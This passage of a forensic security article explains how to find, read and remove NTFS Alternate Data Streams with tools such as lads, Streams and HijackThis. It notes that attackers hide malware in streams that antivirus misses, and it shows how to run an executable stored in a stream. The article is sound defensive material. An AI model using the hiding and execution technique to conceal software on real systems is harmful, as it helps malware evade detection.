Let's see how the process looks like in the task manager (CTRL+ALT+DEL)

Figure4. Windows Task Manager displaying the hidden EXE

Tools to find ADS
First you would like to check whether your system supports ADS or not. The utility to do that is AdsCheck.exe.
1. AdsCheck.exe (http://www.diamondcs.com)


2. Lads.exe (www.heysoft.de)
One of the best tools available for ADS is lads.exe, written by Frank Heyne. 'Lads.exe' does an excellent job of reporting the availability of ADS.

Figure5. Demonstrating lads.exe

3. LNS - List NTFS Streams (http://ntsecurity.nu/toolbox/lns/)
LNS is a tool that searches for NTFS streams (alternate data streams or multiple data streams). This can be useful in a forensic investigation.

Figure6. Demonstrating lns.exe

4. Ads Spy (http://www.spywareinfo.com/~merijn/files/adsspy.zip)
Ads Spy is a tool used to list, view or delete Alternate Data Streams (ADS) on Windows 2000/XP with NTFS file systems. This tool can not only detect the ADS but also remove them with the click of a button

Figure7. Demonstrating Ads spy

5. SFind (http://www.foundstone.com)
SFind scans the disk for hidden data streams and lists the last access times.

Figure8. Demonstrating SFind.exe
6. Streams.exe (http://www.sysinternals.com/utilities/streams.html)
Streams.exe examines the files and directories you specify and informs you of the name and sizes of any named streams it encounters within those files. Streams.exe makes use of an undocumented native function for retrieving file stream information.

Figure9. Demonstrating Streams.exe

7. Hijackthis (http://www.merijn.org/files/hijackthis.zip) -- *RECOMMENDED*
Hijackthis is an award winning tool which examines certain key areas of the Registry and Hard Drive and lists their contents. These are areas which are used by both legitimate programmers and hijackers. It is an advanced utility which I use after I have run spybot - search and destroy. The best feature about Hijackthis is that you can save a log file and submit for an online analysis at http://www.hijacthis.de. The analysis would help you get a better understanding of the processes running on your system.
Hijackthis includes many other tools such as StartupList log, Ads Spy, Hosts file manager, etc. which make it one great tool for any administrator.

Figure10. Demonstrating Hijackthis tool

8. Listing ADS via streams tab in the properties window - The Microsoft way
Download NTFSext.exe from http://download.microsoft.com/download/F/C/6/FC6943EB-790A-44AA-B32D-14ED7E22FD5D/NTFSExt.exe NTFSext.exe contains a DLL file called strmext.dll. Copy this DLL to the system32 folder and run the command
regsvr32 StrmExt.dll
This will create a new tab in the file properties of Windows Explorer. If you suspect that a file has an ADS, you can open its properties windows and check the streams tab which would list any streams attached with the file.

Figure11. Demonstrating streams tab
In order to achieve the same for the folders as well, you need to add the following two registry entries by running regedit.exe from the run browser
HKEY_CLASSES_ROOT\Directory\shellex\PropertySheetHandlers\{C3ED1679-814B-4DA9-AB00-1CAC71F5E337} HKEY_CLASSES_ROOT\Drive\shellex\PropertySheetHandlers\{C3ED1679-814B-4DA9-AB00-1CAC71F5E337}

Retrieving a file's contents from an Alternative Data Stream
1. If its an executable, you can run it using the inbuilt start command in Windows or you can use "psexec.exe" tool available at http://sysinternals.com
2. If its a normal text file you can use cat command available in Windows resource kit or use the more command available in Windows

Figure12. Retrieving ADS contents

Removing ADS from a file
An ADS attached to a file can be removed by using the following methods:
1. Using tools such as Ads Spy, Hijackthis, Streams.exe, or from the streams tab in the properties window of a file
2. Copying the file to a Non-NTFS file system such as FAT32 which does not support ADS
3. Moving the contents of the main unnamed stream into another file by using the following command:
more < original.exe > originalcopy.exe - copies only the main unnamed stream
ren originalcopy.exe original.exe -- rename the file to its original name

Conclusion
NTFS ADS is a useful feature which is increasingly being exploited by hackers to hide malicious files. The grave concern for security practitioners is that the awareness about this feature is extremely low. If the malicious files hidden in the ADS already exist on the victim's system (in cases where the Anti-virus is turned off or disabled), then some of the most popular anti-virus software such as Norton 2005 and anti-spyware such as Spybot - SnD and Microsoft Anti-Spyware do not report ADS. However, if a file with infected ADS is being written to the disk, the anti-virus detects it. This means if the users are using specialized tools like the ones mentioned above, there is a possibility for the malicious files to exist on the victim's system and lie there undetected.

References
1. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp
2. http://www.diamondcs.com.au/index.php?page=archive&id=ntfs-streams
3. http://www.auditmypc.com/freescan/readingroom/ntfsstreams.asp
4. http://www.securityfocus.com/bid/149/info

Fuente:
http://www.forensicfocus.com/dissecting-ntfs-hidden-streams
Powered by Bad Robot
Helped by Blackubay